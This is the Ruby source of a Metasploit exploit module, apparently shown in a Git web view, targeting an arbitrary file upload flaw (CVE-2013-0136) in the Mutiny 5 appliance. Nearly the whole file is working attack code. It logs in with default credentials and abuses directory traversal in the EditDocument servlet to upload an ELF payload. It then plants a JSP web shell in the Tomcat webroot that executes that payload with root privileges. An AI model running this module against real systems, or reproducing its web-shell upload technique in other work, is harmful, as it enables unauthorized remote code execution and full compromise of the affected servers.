230db6451b
The HttpClient mixin has a peer() method, therefore these modules should not have to make their own. Also new module writers won't repeat the same old code again.
196 lines
5.9 KiB
Ruby
196 lines
5.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Mutiny 5 Arbitrary File Upload',
|
|
'Description' => %q{
|
|
This module exploits a code execution flaw in the Mutiny 5 appliance. The
|
|
EditDocument servlet provides a file upload function to authenticated users. A
|
|
directory traversal vulnerability in the same functionality allows for arbitrary
|
|
file upload, which results in arbitrary code execution with root privileges. In
|
|
order to exploit the vulnerability a valid user (any role) in the web frontend is
|
|
required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'juan vazquez' # Metasploit module and initial discovery
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-0136' ],
|
|
[ 'OSVDB', '93444' ],
|
|
[ 'US-CERT-VU', '701572' ],
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
'Targets' =>
|
|
[
|
|
[ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'May 15 2013'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
|
|
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
|
|
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ])
|
|
], self.class)
|
|
end
|
|
|
|
def upload_file(location, filename, contents)
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"")
|
|
post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"")
|
|
|
|
# Work around an incompatible MIME implementation
|
|
data = post_data.to_s
|
|
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, "interface","EditDocument"),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'cookie' => "JSESSIONID=#{@session}"
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /\{"success":true\}/
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def login
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
|
first_session = $1
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
|
|
'method' => 'POST',
|
|
'cookie' => "JSESSIONID=#{first_session}",
|
|
'vars_post' => {
|
|
'j_username' => datastore['USERNAME'],
|
|
'j_password' => datastore['PASSWORD']
|
|
}
|
|
})
|
|
|
|
if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
|
|
return false
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
|
|
'method' => 'GET',
|
|
'cookie' => "JSESSIONID=#{first_session}"
|
|
})
|
|
|
|
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
|
@session = $1
|
|
return true
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "interface", "/"),
|
|
})
|
|
|
|
if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
|
|
version = $1
|
|
end
|
|
|
|
if version and version >= "5" and version <= "5.0-1.07"
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{peer} - Trying to login")
|
|
if login
|
|
print_good("#{peer} - Login successful")
|
|
else
|
|
fail_with(Failure::NoAccess, "#{peer} - Login failed, review USERNAME and PASSWORD options")
|
|
end
|
|
|
|
exploit_native
|
|
end
|
|
|
|
def exploit_native
|
|
print_status("#{peer} - Uploading executable Payload file")
|
|
elf = payload.encoded_exe
|
|
elf_location = "/tmp"
|
|
elf_filename = "#{rand_text_alpha_lower(8)}.elf"
|
|
if upload_file(elf_location, elf_filename, elf)
|
|
register_files_for_cleanup("#{elf_location}/#{elf_filename}")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
|
|
end
|
|
|
|
print_status("#{peer} - Uploading JSP to execute the payload")
|
|
jsp = jsp_execute_command("#{elf_location}/#{elf_filename}")
|
|
jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m"
|
|
jsp_filename = "#{rand_text_alpha_lower(8)}.jsp"
|
|
if upload_file(jsp_location, jsp_filename, jsp)
|
|
register_files_for_cleanup("#{jsp_location}/#{jsp_filename}")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
|
|
end
|
|
|
|
print_status("#{peer} - Executing payload")
|
|
send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, "m", jsp_filename),
|
|
'method' => 'GET'
|
|
})
|
|
|
|
end
|
|
|
|
def jsp_execute_command(command)
|
|
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
|
jspraw << %Q|<%\n|
|
|
jspraw << %Q|try {\n|
|
|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
|
|
jspraw << %Q|} catch (IOException ioe) { }\n|
|
|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
|
|
jspraw << %Q|%>\n|
|
|
|
|
jspraw
|
|
end
|
|
|
|
end
|